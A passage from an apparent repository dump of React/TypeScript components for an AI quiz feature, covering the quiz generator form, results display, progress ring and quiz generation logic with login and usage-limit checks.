 );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/AIQuizGenerator.tsx",
    "content": "import {\n  FileTextIcon,\n  ListIcon,\n  ListTodoIcon,\n  SparklesIcon,\n  type LucideIcon,\n} from 'lucide-react';\nimport { useEffect, useId, useState } from 'react';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { billingDetailsOptions } from '../../queries/billing';\nimport {\n  clearQuestionAnswerChatMessages,\n  storeQuestionAnswerChatMessages,\n} from '../../lib/ai-questions';\nimport {\n  QuestionAnswerChat,\n  type QuestionAnswerChatMessage,\n} from '../ContentGenerator/QuestionAnswerChat';\nimport { useToast } from '../../hooks/use-toast';\nimport { cn } from '../../lib/classname';\nimport { getUrlParams } from '../../lib/browser';\nimport { FormatItem } from '../ContentGenerator/FormatItem';\nimport { queryClient } from '../../stores/query-client';\nimport { useQuery } from '@tanstack/react-query';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { showUpgradeModal } from '../../stores/subscription';\n\nconst allowedFormats = ['mcq', 'open-ended', 'mixed'] as const;\nexport type AllowedFormat = (typeof allowedFormats)[number];\n\nexport function AIQuizGenerator() {\n  const [isUpgradeModalOpen, setIsUpgradeModalOpen] = useState(false);\n\n  const toast = useToast();\n  const [title, setTitle] = useState('');\n  const [selectedFormat, setSelectedFormat] = useState<AllowedFormat>('mcq');\n\n  const [showFineTuneOptions, setShowFineTuneOptions] = useState(false);\n  const [questionAnswerChatMessages, setQuestionAnswerChatMessages] = useState<\n    QuestionAnswerChatMessage[]\n  >([]);\n\n  const {\n    data: tokenUsage,\n    isLoading: isTokenUsageLoading,\n    refetch: refetchTokenUsage,\n  } = useQuery(aiLimitOptions(), queryClient);\n\n  const { data: userBillingDetails, isLoading: isBillingDetailsLoading } =\n    useQuery(billingDetailsOptions(), queryClient);\n\n  const isLimitExceeded = (tokenUsage?.used || 0) >= (tokenUsage?.limit || 0);\n  const isPaidUser = userBillingDetails?.status === 'active';\n\n  const selectedLimit = tokenUsage?.quiz;\n  const showLimitWarning =\n    !isPaidUser &&\n    !isBillingDetailsLoading &&\n    !isTokenUsageLoading &&\n    isLoggedIn();\n\n  const titleFieldId = useId();\n  const fineTuneOptionsId = useId();\n\n  useEffect(() => {\n    const params = getUrlParams();\n    const format = params.format as AllowedFormat;\n    if (format && allowedFormats.find((f) => f.value === format)) {\n      setSelectedFormat(format);\n    }\n  }, []);\n\n  const allowedFormats: {\n    label: string;\n    formatTitle: string;\n    icon: LucideIcon;\n    value: AllowedFormat;\n  }[] = [\n    {\n      label: 'Multi-Choice',\n      formatTitle: 'Multiple Choice Question',\n      icon: ListTodoIcon,\n      value: 'mcq',\n    },\n    {\n      label: 'Open-Ended',\n      formatTitle: 'Open-Ended Question',\n      icon: FileTextIcon,\n      value: 'open-ended',\n    },\n    {\n      label: 'Mixed',\n      formatTitle: 'Mixed Question (MCQ + Open-Ended)',\n      icon: ListIcon,\n      value: 'mixed',\n    },\n  ];\n\n  const handleSubmit = () => {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    if (!isPaidUser && isLimitExceeded) {\n      setIsUpgradeModalOpen(true);\n      return;\n    }\n\n    if (\n      !isPaidUser &&\n      selectedLimit &&\n      selectedLimit?.used >= selectedLimit?.limit\n    ) {\n      showUpgradeModal();\n      return;\n    }\n\n    let sessionId = '';\n    if (showFineTuneOptions) {\n      clearQuestionAnswerChatMessages();\n      sessionId = storeQuestionAnswerChatMessages(questionAnswerChatMessages);\n    }\n\n    window.location.href = `/ai/quiz/search?term=${title}&format=${selectedFormat}&id=${sessionId}`;\n  };\n\n  useEffect(() => {\n    window?.fireEvent({\n      action: 'tutor_user',\n      category: 'ai_tutor',\n      label: 'Visited AI Quiz Generator Page',\n    });\n  }, []);\n\n  const trimmedTitle = title.trim();\n  const canGenerate = trimmedTitle && trimmedTitle.length >= 3;\n  const selectedFormatTitle = allowedFormats.find(\n    (f) => f.value === selectedFormat,\n  )?.formatTitle;\n\n  return (\n    <div className=\"mx-auto flex w-full max-w-2xl flex-grow flex-col pt-4 md:justify-center md:pt-10 lg:pt-28 lg:pb-24\">\n      <div className=\"relative\">\n        {isUpgradeModalOpen && (\n          <UpgradeAccountModal onClose={() => setIsUpgradeModalOpen(false)} />\n        )}\n\n        {showLimitWarning && (\n          <div className=\"absolute bottom-full left-1/2 -translate-x-1/2 -translate-y-8 text-gray-500 max-md:hidden\">\n            {selectedLimit?.used} of {selectedLimit?.limit} quizzes\n            <button\n              onClick={() => setIsUpgradeModalOpen(true)}\n              className=\"ml-2 rounded-xl bg-yellow-600 px-2 py-1 text-sm text-white hover:opacity-80\"\n            >\n              Need more? Upgrade\n            </button>\n          </div>\n        )}\n        <h1 className=\"mb-0.5 text-center text-4xl font-semibold max-md:text-left max-md:text-xl lg:mb-3\">\n          Test your Knowledge\n        </h1>\n        <p className=\"text-center text-lg text-balance text-gray-600 max-md:text-left max-md:text-sm\">\n          Create a personalized quiz to test your understanding of any topic\n        </p>\n      </div>\n\n      <form\n        className=\"mt-10 space-y-4\"\n        onSubmit={(e) => {\n          e.preventDefault();\n          handleSubmit();\n        }}\n      >\n        <div className=\"flex flex-col gap-2\">\n          <label htmlFor={titleFieldId} className=\"inline-block text-gray-500\">\n            What topic would you like to quiz yourself on?\n          </label>\n          <input\n            type=\"text\"\n            id={titleFieldId}\n            placeholder=\"e.g., JavaScript Variables, Go Routines, System Design\"\n            value={title}\n            onChange={(e) => {\n              setTitle(e.target.value);\n              setShowFineTuneOptions(false);\n            }}\n            className=\"block w-full rounded-xl border border-gray-200 bg-white p-4 outline-none placeholder:text-gray-500 focus:border-gray-500\"\n            required\n            minLength={3}\n            data-clarity-unmask=\"true\"\n          />\n        </div>\n        <div className=\"flex flex-col gap-2\">\n          <label className=\"inline-block text-gray-500\">\n            Choose the format\n          </label>\n          <div className=\"grid grid-cols-3 gap-3\">\n            {allowedFormats.map((format) => {\n              const isSelected = format.value === selectedFormat;\n\n              return (\n                <FormatItem\n                  key={format.value}\n                  label={format.label}\n                  onClick={() => setSelectedFormat(format.value)}\n                  icon={format.icon}\n                  isSelected={isSelected}\n                />\n              );\n            })}\n          </div>\n        </div>\n\n        <label\n          className={cn(\n            'flex cursor-pointer items-center gap-2 rounded-xl border border-gray-200 bg-white p-4 transition-all',\n          )}\n          htmlFor={fineTuneOptionsId}\n        >\n          <input\n            type=\"checkbox\"\n            id={fineTuneOptionsId}\n            checked={showFineTuneOptions}\n            onChange={(e) => {\n              if (!isLoggedIn()) {\n                showLoginPopup();\n                return;\n              }\n\n              if (!isPaidUser && isLimitExceeded) {\n                setIsUpgradeModalOpen(true);\n                return;\n              }\n\n              if (!trimmedTitle) {\n                toast.error('Please enter a topic first');\n                return;\n              }\n\n              if (trimmedTitle.length < 3) {\n                toast.error('Topic must be at least 3 characters long');\n                return;\n              }\n\n              setShowFineTuneOptions(e.target.checked);\n            }}\n          />\n          <span className=\"max-sm:hidden\">\n            Answer the following questions for a better result\n          </span>\n          <span className=\"sm:hidden\">Customize your quiz</span>\n        </label>\n\n        {showFineTuneOptions && (\n          <QuestionAnswerChat\n            term={title}\n            format={selectedFormatTitle || selectedFormat}\n            questionAnswerChatMessages={questionAnswerChatMessages}\n            setQuestionAnswerChatMessages={setQuestionAnswerChatMessages}\n            from=\"quiz\"\n          />\n        )}\n\n        <button\n          type=\"submit\"\n          className=\"flex h-[56px] w-full items-center justify-center gap-2 rounded-xl bg-black p-4 text-white focus:outline-none disabled:cursor-not-allowed disabled:opacity-80\"\n          disabled={\n            !canGenerate || isTokenUsageLoading || isBillingDetailsLoading\n          }\n        >\n          <SparklesIcon className=\"size-4\" />\n          Generate Quiz\n        </button>\n      </form>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/AIQuizLayout.tsx",
    "content": "import { AITutorLayout } from '../AITutor/AITutorLayout';\n\ntype AIQuizLayoutProps = {\n  children: React.ReactNode;\n};\n\nexport function AIQuizLayout(props: AIQuizLayoutProps) {\n  const { children } = props;\n  return (\n    <AITutorLayout\n      activeTab=\"quiz\"\n      wrapperClassName=\"flex-row p-0 lg:p-0 relative overflow-hidden bg-white\"\n      containerClassName=\"h-[calc(100vh-49px)] overflow-hidden relative\"\n    >\n      {children}\n    </AITutorLayout>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/AIQuizResultStrip.tsx",
    "content": "import { cn } from '../../lib/classname';\nimport {\n  ArrowRightIcon,\n  CheckIcon,\n  CircleAlertIcon,\n  Minus, XIcon\n} from 'lucide-react';\nimport type { QuestionState } from './AIQuizContent';\n\ntype AIQuizResultStripProps = {\n  activeQuestionIndex: number;\n  questionStates: Record<number, QuestionState>;\n  onReview?: (questionIndex: number) => void;\n  onComplete?: () => void;\n};\n\nexport function AIQuizResultStrip(props: AIQuizResultStripProps) {\n  const { activeQuestionIndex, questionStates, onReview, onComplete } = props;\n  const states = Object.values(questionStates);\n\n  return (\n    <div className=\"border-t border-gray-200 bg-white p-3\">\n      <div className=\"flex flex-col items-center justify-between gap-2 md:flex-row\">\n        <div className=\"flex w-full flex-wrap gap-1\">\n          {states.map((state, quizIndex) => (\n            <QuizStateButton\n              key={quizIndex}\n              state={state}\n              quizIndex={quizIndex}\n              isActive={quizIndex === activeQuestionIndex}\n              onReview={onReview}\n              variant=\"small\"\n            />\n          ))}\n        </div>\n\n        <button\n          className=\"flex w-full shrink-0 items-center justify-center gap-2 rounded-xl bg-black px-4 py-2 text-white hover:bg-gray-900 disabled:opacity-70 md:w-auto md:justify-start\"\n          onClick={onComplete}\n        >\n          Show Results <ArrowRightIcon className=\"h-4 w-4\" />\n        </button>\n      </div>\n    </div>\n  );\n}\n\ntype QuizStateButtonProps = {\n  state: QuestionState;\n  quizIndex: number;\n  isActive: boolean;\n  onReview?: (questionIndex: number) => void;\n  className?: string;\n  variant?: 'default' | 'small';\n};\n\nexport function QuizStateButton(props: QuizStateButtonProps) {\n  const {\n    state,\n    quizIndex,\n    isActive,\n    onReview,\n    className,\n    variant = 'default',\n  } = props;\n  const { status } = state;\n\n  const isCorrect = status === 'correct';\n  const isIncorrect = status === 'incorrect';\n  const isSkipped = status === 'skipped';\n  const isCanBeImproved = status === 'can_be_improved';\n\n  return (\n    <button\n      key={quizIndex}\n      onClick={() => onReview?.(quizIndex)}\n      className={cn(\n        'flex aspect-square flex-col items-center justify-center rounded-xl border p-1 hover:opacity-80',\n        isCorrect && 'border-green-700 bg-green-700 text-white',\n        isIncorrect && 'border-red-700 bg-red-700 text-white',\n        isSkipped && 'border-gray-400 bg-gray-400 text-white',\n        isCanBeImproved && 'border-yellow-700 bg-yellow-700 text-white',\n        !isActive && 'opacity-50',\n        variant === 'small' && 'rounded-lg',\n        className,\n      )}\n    >\n      {isCorrect && (\n        <CheckIcon\n          className={cn('size-6.5', variant === 'small' && 'size-5')}\n        />\n      )}\n      {isIncorrect && (\n        <XIcon className={cn('size-6.5', variant === 'small' && 'size-5')} />\n      )}\n      {isSkipped && (\n        <Minus\n          className={cn(\n            'size-6.5 fill-current',\n            variant === 'small' && 'size-5',\n          )}\n        />\n      )}\n      {isCanBeImproved && (\n        <CircleAlertIcon\n          className={cn('size-6.5', variant === 'small' && 'size-5')}\n        />\n      )}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/AIQuizResults.tsx",
    "content": "import {\n  RotateCcw,\n  BarChart3,\n  Zap,\n  Check,\n  X,\n  Minus,\n  BookOpenIcon,\n  FileTextIcon,\n} from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport { getPercentage } from '../../lib/number';\nimport type {\n  AIQuizResultFeedbackResponse,\n  QuestionState,\n} from './AIQuizContent';\nimport { QuizStateButton } from './AIQuizResultStrip';\nimport { CircularProgress } from './CircularProgress';\nimport { markdownToHtml } from '../../lib/markdown';\nimport { markdownClassName } from './AIMCQQuestion';\n\ntype AIQuizResultsProps = {\n  questionStates: Record<number, QuestionState>;\n  totalQuestions: number;\n  onRetry: () => void;\n  onNewQuiz: () => void;\n  onReview?: (questionIndex: number) => void;\n\n  isFeedbackLoading?: boolean;\n  feedback?: AIQuizResultFeedbackResponse;\n};\n\nexport function AIQuizResults(props: AIQuizResultsProps) {\n  const {\n    questionStates,\n    totalQuestions,\n    onRetry,\n    onNewQuiz,\n    onReview,\n    isFeedbackLoading,\n    feedback,\n  } = props;\n\n  const states = Object.values(questionStates);\n  const correctCount = states.filter(\n    (state) => state.status === 'correct',\n  ).length;\n\n  const incorrectCount = states.filter(\n    (state) => state.status === 'incorrect',\n  ).length;\n\n  const skippedCount = states.filter(\n    (state) => state.status === 'skipped',\n  ).length;\n\n  const accuracy = getPercentage(correctCount, totalQuestions);\n\n  const getPerformanceLevel = (): {\n    level: string;\n    color: 'emerald' | 'green' | 'blue' | 'orange' | 'red';\n  } => {\n    if (accuracy >= 90) return { level: 'Excellent', color: 'emerald' };\n    if (accuracy >= 75) return { level: 'Great', color: 'green' };\n    if (accuracy >= 60) return { level: 'Good', color: 'blue' };\n    if (accuracy >= 40) return { level: 'Fair', color: 'orange' };\n    return { level: 'Needs Work', color: 'red' };\n  };\n\n  const performance = getPerformanceLevel();\n\n  const canReview = onReview && states.some((state) => state.isSubmitted);\n\n  return (\n    <div className=\"mx-auto mt-8 max-w-4xl space-y-6\">\n      {/* Header Card with Performance Overview */}\n      <div className=\"relative overflow-hidden rounded-2xl border border-gray-200 bg-gradient-to-br from-gray-50 to-white p-6 md:p-8\">\n        <div className=\"flex flex-col gap-6 sm:flex-row sm:items-center sm:justify-between\">\n          <div className=\"space-y-2\">\n            <h2 className=\"text-2xl font-bold text-gray-900 md:text-3xl\">\n              Quiz Complete!\n            </h2>\n            <p\n              className={cn(\n                'text-lg font-semibold',\n                performance.color === 'emerald' && 'text-emerald-600',\n                performance.color === 'green' && 'text-green-600',\n                performance.color === 'blue' && 'text-blue-600',\n                performance.color === 'orange' && 'text-orange-600',\n                performance.color === 'red' && 'text-red-600',\n              )}\n            >\n              {performance.level}\n            </p>\n            <p className=\"text-sm text-gray-600 md:text-base\">\n              You scored {correctCount} out of {totalQuestions} questions\n              correctly\n            </p>\n          </div>\n\n          <CircularProgress accuracy={accuracy} color={performance.color} />\n        </div>\n      </div>\n\n      {/* Compact Stats */}\n      <div className=\"rounded-xl border border-gray-200 bg-white p-4 md:p-6\">\n        <h3 className=\"mb-4 text-sm font-semibold text-gray-900 md:text-base\">\n          Results Breakdown\n        </h3>\n        <div className=\"space-y-3\">\n          <StatRow\n            icon={<Check className=\"h-4 w-4\" />}\n            label=\"Correct\"\n            value={correctCount}\n            total={totalQuestions}\n            color=\"green\"\n          />\n          <StatRow\n            icon={<X className=\"h-4 w-4\" />}\n            label=\"Incorrect\"\n            value={incorrectCount}\n            total={totalQuestions}\n            color=\"red\"\n          />\n          <StatRow\n            icon={<Minus className=\"h-4 w-4\" />}\n            label=\"Skipped\"\n            value={skippedCount}\n            total={totalQuestions}\n            color=\"gray\"\n          />\n        </div>\n      </div>\n\n      {/* Question Review Section */}\n      {canReview && totalQuestions <= 20 && (\n        <div className=\"rounded-xl border border-gray-200 bg-white p-4 md:p-6\">\n          <div className=\"mb-4 flex flex-col gap-2 sm:flex-row sm:items-center\">\n            <div className=\"flex items-center gap-2\">\n              <BarChart3 className=\"h-5 w-5 text-gray-600\" />\n              <h3 className=\"text-sm font-semibold text-gray-900 md:text-base\">\n                Question Breakdown\n              </h3>\n            </div>\n            <span className=\"text-sm text-gray-500 sm:ml-auto\">\n              Click to review\n            </span>\n          </div>\n          <div\n            className={cn(\n              'grid gap-2',\n              totalQuestions <= 8\n                ? 'grid-cols-4 sm:grid-cols-8'\n                : totalQuestions <= 12\n                  ? 'grid-cols-4 sm:grid-cols-6'\n                  : 'grid-cols-5',\n            )}\n          >\n            {states.map((state, quizIndex) => (\n              <QuizStateButton\n                key={quizIndex}\n                state={state}\n                quizIndex={quizIndex}\n                isActive={true}\n                onReview={onReview}\n                className=\"p-2 transition-transform duration-200\"\n              />\n            ))}\n          </div>\n        </div>\n      )}\n\n      <div className=\"flex flex-col gap-3 sm:flex-row\">\n        <ActionButton\n          variant=\"secondary\"\n          icon={<RotateCcw className=\"h-4 w-4\" />}\n          onClick={onRetry}\n        >\n          Try Again\n        </ActionButton>\n        <ActionButton\n          variant=\"secondary\"\n          icon={<Zap className=\"h-4 w-4\" />}\n          onClick={onNewQuiz}\n        >\n          New Quiz\n        </ActionButton>\n      </div>\n\n      {feedback && (\n        <>\n          <div className=\"rounded-xl border border-gray-200 bg-gray-50\">\n            {feedback.summary && (\n              <div className=\"border-b border-gray-200 p-4 md:p-6\">\n                <h4 className=\"mb-2 flex items-center text-sm font-semibold text-gray-900 md:text-base\">\n                  Summary of your quiz\n                </h4>\n\n                <div\n                  dangerouslySetInnerHTML={{\n                    __html: markdownToHtml(feedback.summary, false),\n                  }}\n                  className={cn(\n                    markdownClassName,\n                    'prose-sm prose-p:text-sm prose-p:leading-relaxed prose-p:text-balance',\n                  )}\n                />\n              </div>\n            )}\n\n            {feedback.guideTopics?.length && feedback.courseTopics?.length && (\n              <>\n                <div className=\"p-4 md:p-6\">\n                  <div className=\"mb-4\">\n                    <h4 className=\"mb-1 flex items-center text-sm font-semibold text-gray-900 md:text-base\">\n                      Suggested Resources\n                    </h4>\n\n                    <p className=\"text-sm leading-relaxed text-balance text-gray-600\">\n                      You can follow these courses or guides to improve your\n                      understanding of the topic you missed in the quiz\n                    </p>\n                  </div>\n\n                  <div className=\"grid gap-2 sm:grid-cols-2\">\n                    {feedback.courseTopics?.map((topic, index) => (\n                      <ResourceCard\n                        key={`course-${index}`}\n                        icon={<BookOpenIcon className=\"h-5 w-5\" />}\n                        title={topic}\n                        type=\"course\"\n                        href={`/ai/course?term=${encodeURIComponent(topic)}&format=course`}\n                      />\n                    ))}\n                    {feedback.guideTopics?.map((topic, index) => (\n                      <ResourceCard\n                        key={`guide-${index}`}\n                        icon={<FileTextIcon className=\"h-5 w-5\" />}\n                        title={topic}\n                        type=\"guide\"\n                        href={`/ai/guide?term=${encodeURIComponent(topic)}&format=guide`}\n                      />\n                    ))}\n                  </div>\n                </div>\n              </>\n            )}\n          </div>\n        </>\n      )}\n\n      {isFeedbackLoading && (\n        <div className=\"rounded-xl border border-gray-200 bg-white p-4 md:p-6\">\n          <div className=\"flex items-center justify-center py-8\">\n            <div className=\"flex items-center gap-3 text-gray-600\">\n              <div className=\"h-5 w-5 animate-spin rounded-full border-2 border-gray-300 border-t-gray-600\" />\n              <span className=\"text-sm md:text-base\">\n                Generating personalized feedback...\n              </span>\n            </div>\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n\ntype StatRowProps = {\n  icon: React.ReactNode;\n  label: string;\n  value: number;\n  total: number;\n  color: 'green' | 'red' | 'gray';\n};\n\nfunction StatRow(props: StatRowProps) {\n  const { icon, label, value, total, color } = props;\n  const percentage = total > 0 ? Math.round((value / total) * 100) : 0;\n\n  return (\n    <div className=\"flex items-center justify-between\">\n      <div className=\"flex items-center gap-3\">\n        <div\n          className={cn(\n            'rounded-md p-1.5',\n            color === 'green' && 'bg-green-100 text-green-600',\n            color === 'red' && 'bg-red-100 text-red-600',\n            color === 'gray' && 'bg-gray-100 text-gray-600',\n          )}\n        >\n          {icon}\n        </div>\n        <span className=\"text-sm font-medium text-gray-700\">{label}</span>\n      </div>\n      <div className=\"flex items-center gap-3\">\n        <div className=\"flex items-center gap-1 text-sm text-gray-500\">\n          <span className=\"font-semibold text-gray-900\">{value}</span>\n          <span>({percentage}%)</span>\n        </div>\n        <div className=\"h-2 w-16 rounded-full bg-gray-200\">\n          <div\n            className={cn(\n              'h-2 rounded-full transition-all duration-500',\n              color === 'green' && 'bg-green-500',\n              color === 'red' && 'bg-red-500',\n              color === 'gray' && 'bg-gray-400',\n            )}\n            style={{ width: `${percentage}%` }}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n\ntype ActionButtonProps = {\n  variant: 'primary' | 'secondary';\n  icon: React.ReactNode;\n  onClick: () => void;\n  children: React.ReactNode;\n};\n\nfunction ActionButton(props: ActionButtonProps) {\n  const { variant, icon, onClick, children } = props;\n\n  return (\n    <button\n      onClick={onClick}\n      className={cn(\n        'flex flex-1 items-center justify-center gap-2 rounded-xl px-4 py-3 font-medium transition-all duration-200 md:px-6',\n        variant === 'primary' && 'bg-black text-white hover:bg-gray-800',\n        variant === 'secondary' &&\n          'border-2 border-gray-300 bg-white text-gray-700 hover:border-gray-400 hover:bg-gray-50',\n      )}\n    >\n      {icon}\n      {children}\n    </button>\n  );\n}\n\ntype ActionLinkProps = {\n  href: string;\n  label: string;\n  description: string;\n  variant: 'primary' | 'secondary';\n};\n\nfunction ActionLink(props: ActionLinkProps) {\n  const { href, label, description, variant } = props;\n\n  return (\n    <a\n      href={href}\n      className={cn(\n        'block rounded-lg border p-3 text-left transition-all duration-200',\n        variant === 'primary' &&\n          'border-black bg-black text-white hover:bg-gray-800',\n        variant === 'secondary' &&\n          'border-gray-300 bg-white text-gray-900 hover:border-gray-400 hover:bg-gray-50',\n      )}\n    >\n      <div className=\"text-sm font-medium\">{label}</div>\n      <div\n        className={cn(\n          'text-xs',\n          variant === 'primary' && 'text-gray-300',\n          variant === 'secondary' && 'text-gray-600',\n        )}\n      >\n        {description}\n      </div>\n    </a>\n  );\n}\n\n// Keep the old components for backward compatibility\ntype ResultCardProps = {\n  count: number;\n  label: string;\n  icon: React.ReactNode;\n  className?: string;\n};\n\nexport function ResultCard(props: ResultCardProps) {\n  const { count, label, icon, className } = props;\n\n  return (\n    <div\n      className={cn(\n        'flex flex-col items-center rounded-xl bg-gray-50 px-4 py-6 text-gray-700 transition-all duration-200',\n        className,\n      )}\n    >\n      {icon}\n      <div className=\"text-xl font-semibold\">{count}</div>\n      <div className=\"text-sm\">{label}</div>\n    </div>\n  );\n}\n\ntype ResultActionProps = {\n  label: string;\n  icon: React.ReactNode;\n  onClick: () => void;\n  className?: string;\n};\n\nexport function ResultAction(props: ResultActionProps) {\n  const { label, icon, onClick, className } = props;\n\n  return (\n    <button\n      onClick={onClick}\n      className={cn(\n        'flex flex-grow items-center justify-center gap-2 rounded-xl bg-black px-4 py-3 text-sm font-medium text-white transition-all duration-200 hover:bg-gray-800',\n        className,\n      )}\n    >\n      {icon}\n      {label}\n    </button>\n  );\n}\n\ntype ResourceCardProps = {\n  icon: React.ReactNode;\n  title: string;\n  type: 'guide' | 'course';\n  href: string;\n};\n\nfunction ResourceCard(props: ResourceCardProps) {\n  const { icon, title, type, href } = props;\n\n  return (\n    <a\n      href={href}\n      className=\"block rounded-lg border border-gray-200 bg-white p-2.5 text-left hover:border-gray-400 hover:bg-gray-100\"\n    >\n      <div className=\"flex items-center gap-2\">\n        <div className=\"text-gray-500\">{icon}</div>\n        <div className=\"truncate text-sm text-gray-900\">{title}</div>\n      </div>\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/CircularProgress.tsx",
    "content": "import { cn } from '../../lib/classname';\n\ntype CircularProgressProps = {\n  accuracy: number;\n  color: 'emerald' | 'green' | 'blue' | 'orange' | 'red';\n  size?: 'sm' | 'md' | 'lg';\n};\n\nexport function CircularProgress(props: CircularProgressProps) {\n  const { accuracy, color, size = 'md' } = props;\n\n  const circumference = 2 * Math.PI * 45;\n  const strokeDashoffset = circumference - (accuracy / 100) * circumference;\n\n  const sizeClasses = {\n    sm: 'h-16 w-16',\n    md: 'h-20 w-20 md:h-24 md:w-24',\n    lg: 'h-28 w-28 md:h-32 md:w-32',\n  };\n\n  const textSizeClasses = {\n    sm: 'text-base font-bold',\n    md: 'text-lg md:text-xl font-bold',\n    lg: 'text-xl md:text-2xl font-bold',\n  };\n\n  return (\n    <div className=\"relative flex max-md:hidden flex-shrink-0 self-center\">\n      <svg\n        className={cn(sizeClasses[size], '-rotate-90 transform')}\n        viewBox=\"0 0 100 100\"\n      >\n        <circle\n          cx=\"50\"\n          cy=\"50\"\n          r=\"45\"\n          stroke=\"currentColor\"\n          strokeWidth=\"8\"\n          fill=\"transparent\"\n          className=\"text-gray-200\"\n        />\n        <circle\n          cx=\"50\"\n          cy=\"50\"\n          r=\"45\"\n          stroke=\"currentColor\"\n          strokeWidth=\"8\"\n          fill=\"transparent\"\n          strokeDasharray={circumference}\n          strokeDashoffset={strokeDashoffset}\n          className={cn(\n            'transition-all duration-1000 ease-out',\n            color === 'emerald' && 'text-emerald-500',\n            color === 'green' && 'text-green-500',\n            color === 'blue' && 'text-blue-500',\n            color === 'orange' && 'text-orange-500',\n            color === 'red' && 'text-red-500',\n          )}\n          strokeLinecap=\"round\"\n        />\n      </svg>\n      <div className=\"absolute inset-0 flex items-center justify-center\">\n        <span className={cn(textSizeClasses[size], 'text-gray-900')}>\n          {accuracy}%\n        </span>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/GenerateAIQuiz.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\nimport { getUrlParams } from '../../lib/browser';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { LoadingChip } from '../LoadingChip';\nimport type { QuestionAnswerChatMessage } from '../ContentGenerator/QuestionAnswerChat';\nimport { getQuestionAnswerChatMessages } from '../../lib/ai-questions';\nimport {\n  aiQuizOptions,\n  generateAIQuiz,\n  type QuizQuestion,\n} from '../../queries/ai-quiz';\nimport { queryClient } from '../../stores/query-client';\nimport { AIQuizContent } from './AIQuizContent';\nimport { AlertCircleIcon } from 'lucide-react';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { useQuery } from '@tanstack/react-query';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\n\ntype GenerateAIQuizProps = {\n  onQuizSlugChange?: (quizSlug: string) => void;\n};\n\nexport function GenerateAIQuiz(props: GenerateAIQuizProps) {\n  const { onQuizSlugChange } = props;\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [isStreaming, setIsStreaming] = useState(false);\n  const [error, setError] = useState('');\n\n  const [questions, setQuestions] = useState<QuizQuestion[]>([]);\n  const questionsRef = useRef<QuizQuestion[]>([]);\n\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n  const { data: limits, isLoading: isLimitLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const isLimitDataLoading = isPaidUserLoading || isLimitLoading;\n\n  useEffect(() => {\n    if (isLimitDataLoading) {\n      return;\n    }\n\n    if (!isPaidUser && limits && limits?.quiz?.used >= limits?.quiz?.limit) {\n      setError('You have reached the limit for this format');\n      setIsLoading(false);\n      setShowUpgradeModal(true);\n      return;\n    }\n\n    const params = getUrlParams();\n    const paramsTerm = params?.term;\n    const paramsFormat = params?.format;\n    const paramsSrc = params?.src || 'search';\n    if (!paramsTerm) {\n      return;\n    }\n\n    let questionAndAnswers: QuestionAnswerChatMessage[] = [];\n    const sessionId = params?.id;\n    if (sessionId) {\n      questionAndAnswers = getQuestionAnswerChatMessages(sessionId);\n    }\n\n    handleGenerateQuiz({\n      term: paramsTerm,\n      format: paramsFormat,\n      src: paramsSrc,\n      questionAndAnswers,\n    });\n  }, [isLimitDataLoading, isPaidUser]);\n\n  const handleGenerateQuiz = async (options: {\n    term: string;\n    format: string;\n    isForce?: boolean;\n    prompt?: string;\n    src?: string;\n    questionAndAnswers?: QuestionAnswerChatMessage[];\n  }) => {\n    const { term, format, isForce, prompt, src, questionAndAnswers } = options;\n\n    if (!isLoggedIn()) {\n      window.location.href = '/ai';\n      return;\n    }\n\n    await generateAIQuiz({\n      term,\n      format,\n      isForce,\n      prompt,\n      questionAndAnswers,\n      onDetailsChange: (details) => {\n        const { quizId, quizSlug, title, userId } = details;\n        const aiQuizData = {\n          _id: quizId,\n          userId,\n          title,\n          slug: quizSlug,\n          keyword: term,\n          format,\n          content: '',\n          questionAndAnswers: questionAndAnswers || [],\n          questions: questionsRef.current || [],\n          viewCount: 0,\n          lastVisitedAt: new Date(),\n          createdAt: new Date(),\n          updatedAt: new Date(),\n        };\n        queryClient.setQueryData(aiQuizOptions(quizSlug).queryKey, aiQuizData);\n        onQuizSlugChange?.(quizSlug);\n        window.history.replaceState(null, '', `/ai/quiz/${quizSlug}`);\n      },\n      onLoadingChange: setIsLoading,\n      onError: setError,\n      onStreamingChange: setIsStreaming,\n      onQuestionsChange: (questions) => {\n        setQuestions(questions);\n        questionsRef.current = questions;\n      },\n    });\n  };\n\n  const upgradeModal = showUpgradeModal ? (\n    <UpgradeAccountModal\n      onClose={() => {\n        window.location.href = '/ai/quiz';\n      }}\n    />\n  ) : null;\n\n  if (error) {\n    return (\n      <>\n        {upgradeModal}\n        <div className=\"absolute inset-0 z-20 flex h-full flex-col items-center justify-center bg-white\">\n          <div className=\"flex flex-col items-center justify-center gap-2\">\n            <AlertCircleIcon className=\"size-10 text-gray-500\" />\n            <p className=\"text-center\">{error}</p>\n          </div>\n        </div>\n      </>\n    );\n  }\n\n  if (isLoading) {\n    return (\n      <>\n        {upgradeModal}\n        <div className=\"flex h-full w-full items-center justify-center\">\n          <LoadingChip message=\"Please wait...\" />\n        </div>\n      </>\n    );\n  }\n\n  return (\n    <>\n      {upgradeModal}\n      <AIQuizContent isStreaming={isStreaming} questions={questions} />\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AIQuiz/QuizTopNavigation.tsx",
